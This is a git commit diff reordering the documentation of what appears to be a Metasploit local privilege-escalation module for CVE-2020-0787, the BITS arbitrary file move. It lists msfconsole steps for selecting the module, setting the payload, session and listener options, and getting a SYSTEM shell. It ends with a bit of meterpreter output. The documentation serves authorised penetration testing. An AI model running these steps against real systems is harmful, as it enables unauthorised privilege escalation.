Add in some changes to the documentation to conform to linting standards
This commit is contained in:
+13
-12
@@ -22,6 +22,18 @@ All affected systems should have the BITS service installed and running. If an a
|
||||
the BITS service running, then the BITS service will need to be started on that host prior to exploiting this
|
||||
vulnerability.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Get a session with basic privileges on a Windows 10 machine
|
||||
3. Do: ```use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move```
|
||||
4. Do: ```set payload windows/x64/<payload>``` if the target is an x64 machine, or
|
||||
```set payload windows/<payload>``` if the target is an x86 machine.
|
||||
5. Do: ```set SESSION <sess_no>```
|
||||
6. Do: ```set JOB_WAIT_TIME <seconds>``` to set the number of seconds you want to wait for the BITS job to complete.
|
||||
7. Do: Set the ```LPORT``` and ```RHOST``` options for the payload as needed.
|
||||
6. Do: ```run```
|
||||
7. You should get a shell running as SYSTEM a few seconds after the `JOB_WAIT_TIME` timer expires.
|
||||
|
||||
## Options
|
||||
**OVERWRITE_DLL**
|
||||
Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).
|
||||
@@ -37,17 +49,6 @@ vulnerability.
|
||||
take a long time to run depending on the load of the target computer, so this allows one
|
||||
to add some additional delay if needed to ensure the BITS job has successfully completed
|
||||
prior to attempting to conduct the LPE.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Get a session with basic privileges on a Windows 10 machine
|
||||
3. Do: ```use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move```
|
||||
4. Do: ```set payload windows/x64/<payload>``` if the target is an x64 machine, or ```set payload windows/<payload>``` if the target is an x86 machine.
|
||||
5. Do: ```set SESSION <sess_no>```
|
||||
6. Do: ```set JOB_WAIT_TIME <seconds>``` to set the number of seconds you want to wait for the BITS job to complete.
|
||||
7. Do: Set the ```LPORT``` and ```RHOST``` options for the payload as needed.
|
||||
6. Do: ```run```
|
||||
7. You should get a shell running as SYSTEM a few seconds after the `JOB_WAIT_TIME` timer expires.
|
||||
|
||||
## Scenarios
|
||||
|
||||
@@ -357,4 +358,4 @@ test DESKTOP-PL99PE8 (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user